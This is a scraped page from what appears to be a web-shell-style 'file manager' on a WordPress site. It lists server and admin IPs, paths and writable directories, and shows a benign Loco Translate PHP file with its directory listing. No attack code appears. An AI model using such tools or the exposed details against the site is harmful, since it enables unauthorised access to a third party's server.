$91 GRAYBYTE WORDPRESS FILE MANAGER $95

SERVER : vnpttt-amd7f72-h1.vietnix.vn #1 SMP Fri May 24 12:42:50 UTC 2024
SERVER IP : 103.200.23.149 | ADMIN IP 216.73.216.22
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bqrcodec/contact.malloca.com/wp-content/plugins/loco-translate/src/fs/

HOME
Current File : /home/bqrcodec/contact.malloca.com/wp-content/plugins/loco-translate/src/fs//LocaleDirectory.php
<?php
/**
 * 
 */
class Loco_fs_LocaleDirectory extends Loco_fs_Directory {  

    /**
     * Get location identifier which signifies the type if translation storage.
     * 
     * - "plugin": bundled inside a plugin (official/author)
     * - "theme":  bundled inside a theme (official/author)
     * - "wplang": under the global languages directory and probably installed by auto-updates
     * - "custom": Loco protected directory
     * - "other":  anywhere else
     * 
     * @return string 
     */
    public function getTypeId(){
        // paths must be compared with trailing slashes so "/foo" doesn't match "/foo-bar"
        $path = trailingslashit( $this->normalize() );
        
        // anything under Loco's protected directory is our location for custom overrides
        $prefix = trailingslashit( loco_constant('LOCO_LANG_DIR') );
        if( substr($path,0,strlen($prefix) ) === $prefix ){
            return 'custom';
        }

        // standard subdirectories of WP_LANG_DIR are under WordPress auto-update control
        $prefix = trailingslashit( loco_constant('WP_LANG_DIR') );
        if( substr($path,0,strlen($prefix) ) === $prefix ){
            if( $path === $prefix || $path === $prefix.'plugins/' || $path === $prefix.'themes/' ){
                return 'wplang';
            }
        }
        else {
            // anything under a registered theme directory is bundled
            $dirs = Loco_fs_Locations::getThemes();
            if( $dirs->check($path) ){
                return 'theme';
            }
            // anything under a registered plugin directory is bundled
            $dirs = Loco_fs_Locations::getPlugins();
            if( $dirs->check($path) ){
                return 'plugin';
            }
        }
        
        // anything else, which includes subdirectories of WP_LANG_DIR etc..
        return 'other';
    }


    /**
     * Get translated version of getTypeId
     * @param string id
     * @return string
     */
    public function getTypeLabel( $id ){
        switch( $id ){
        case 'theme':
        case 'plugin': 
            // Translators: Refers to bundled plugin or theme translation files - i.e. those supplied by the author
            return _x('Author','File location','loco-translate');
        case 'wplang': 
            // Translators: Refers to system-installed translation files - i.e. those under WP_LANG_DIR  
            return _x('System','File location','loco-translate');
        case 'custom': 
            // Translators: Refers to translation files in Loco's custom/protected directory
            return _x('Custom','File location','loco-translate');
        case 'other':
            // Translators: Refers to translation files in an alternative location that isn't Author, System or Custom.
            return _x('Other','File location','loco-translate');
        }
        
        throw new InvalidArgumentException('Invalid location type: '.$id );
    }        


}

Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0755
Directory.php
0.837 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
DummyFile.php
3.011 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
File.php
16.019 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
FileFinder.php
13.453 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
FileList.php
2.923 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
FileListInterface.php
0.261 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
FileMode.php
1.661 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
FileWriter.php
12.289 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
Link.php
0.774 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
LocaleDirectory.php
2.913 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
LocaleFile.php
3.254 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
LocaleFileList.php
1.61 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
Locations.php
4.813 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
Revisions.php
6.369 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644
Siblings.php
3.427 KB
29 Jan 2024 10.33 AM
bqrcodec / bqrcodec
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF